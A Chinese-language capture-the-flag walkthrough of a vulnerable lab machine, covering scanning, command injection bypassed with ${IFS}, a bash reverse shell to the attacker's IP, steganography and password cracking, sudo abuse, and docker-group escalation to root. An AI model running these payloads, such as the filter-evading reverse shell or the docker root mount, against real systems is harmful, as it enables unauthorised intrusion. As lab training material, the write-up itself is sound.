靶场描述
难度:容易/中级
标记:2(用户和root)
提示:枚举
目录
一、信息收集
1.nmap端口扫描:
nmap -sP 192.168.155.129/24
nmap -A -T4 -v -p 1-65535 192.168.155.131
2.dirsearch目录扫描:
python3 dirsearch -u http: //192.168.155.131 -e php
访问http://192.168.155.131/secret/
二、漏洞探测
输入命令:pwd
直接爆出绝对路径。
查看目录: ls
被过滤了。
三、漏洞利用
1.命令的绝对路径可以绕过限制,例如:/bin/ls
2.通过${IFS}代替空格从而绕过过滤,写shell
直接用bash -i >&/dev/tcp/192.168.155.129/4444 0>&1,不行。
本地nc监听,利用${IFS}代替空格绕过反弹shell
bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&/dev/tcp/192.168.155.129/4444 0>&1'
bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&/dev/tcp/192.168.155.129/4444 0>&1'
四、提权
1.sudo -l
www-data权限不太行,
查看.helpline.sh文件只要msg输入为/bin/sh就能获得apaar的shell
sudo -u apaar /home/apaar/.helpline.sh
获得apaar后就是提权,然后直接用apaar下载lse.sh(提权信息枚举脚本)
然而apaar权限不够,无法执行
2.寻找其他漏洞:
cat local.txt
找到第一个falg。
cd /var/www/files
1)hacker.php
在一个hacker.php中发现了一张jpg和一段话,在黑暗中寻找答案。突破点应该在那张图片里。
目录网站的同级目录,利用python3搭建一个网站
python3 -m http.server 8080
访问192.168.155.131:8080, 下载hacker.php, 打开
访问图片并下载
2)steghide工具
利用steghide工具查看图片里是否有隐藏的文件,提取到backup.zip文件,但是解压时加密了
steghide.exe extract -sf hacker-with-laptop_23-2147985341.jpg
3)ARCHPR 爆破密码
pass1word,打开。
IWQwbnRLbjB3bVlwQHNzdzByZA== base64解密得
!d0ntKn0wmYp@ssw0rd
猜测用户名为:Anurodh,anurodh
获取账号和密码直接用ssh登录到目标机上
登入成功,继续提权
4)lse.sh Linux枚举工具
lse.sh(非必须)工具地址: https://github.com/diego-treitos/linux-smart-enumeration
1.本机建立http服务,将lse.sh下载到目标机
2.或直接从GitHub上下载 wget "https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh"
3.权限问题:chomd 700 lse.sh
4.Linux环境执行脚本报错:-bash: ./xxx.sh: /bin/bash^M: 坏的解释器: 没有那个文件或目录。
原因
我使用Windows 10系统上的notepad++编写脚本,然后上传到Linux服务器执行。
Windows系统中的换行符是**\n\r**,Linux系统中的换行符是**\n**,因此需要将**\r**替换为空白。
解决方案
Linux sed命令可自动编辑一个或多个文件,执行以下命令即可。
# sed -i 's/\r$//' xxx.sh
5.工作模式:
在默认级别,您应该看到系统中非常重要的安全漏洞。
级别1(./lse.sh -l1)显示了有助于您获得特权的有趣信息。
级别2(./lse.sh -l2)只会转储它收集的有关系统的所有信息。
默认情况下,它将询问您一些问题:主要是当前的用户密码(如果知道的话;),以便可以进行一些其他测试。
5)docker提权:
一个用户如果具有docker操作权限,那么这个用户就可以被提权到root权限:
查看到anurodh用户属于docker组,可以创建docker,那可以创建一个docker容器,然后将root文件夹映射到容器当中。
docker run -v /root:/mnt -it alpine
这个命令会到Docker Hub仓库获取alpine镜像回来,接着把它运行起来。“-v”参数表示,咱要建一个磁盘卷给这个docker实例(将宿主机的/root目录映射到这个docker实例中的/mnt目录)。“-it”表示,运行命令后直接进入交互式shell界面,而不是让这个实例在后台运行。因为这个实例被设置为挂载宿主机的root文件系统目录到实例里了,所以当实例启动,马上就会加载一次chroot 到那个磁盘卷。这就把宿主机的root丢到我们面前了。运行这个命令,咱cd到/mnt目录,然后宿主机/root目录下的flag.txt就可人地显示在咱面前了。
将root文件夹映射到容器的/mnt目录,之后查看文件:
五、总结
- 命令执行、docker逃逸提权
- 通过${IFS}代替空格从而绕过过滤,bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&/dev/tcp/192.168.155.129/4444 0>&1'
- 利用steghide工具查看图片里是否有隐藏的文件,steghide.exe extract -sf hacker-with-laptop_23-2147985341.jpg
- lse.sh Linux枚举工具,工具地址: https://github.com/diego-treitos/linux-smart-enumeration
- docker提权:一个用户如果具有docker操作权限,那么这个用户就可以被提权到root权限:docker run -v /root:/mnt -it alpine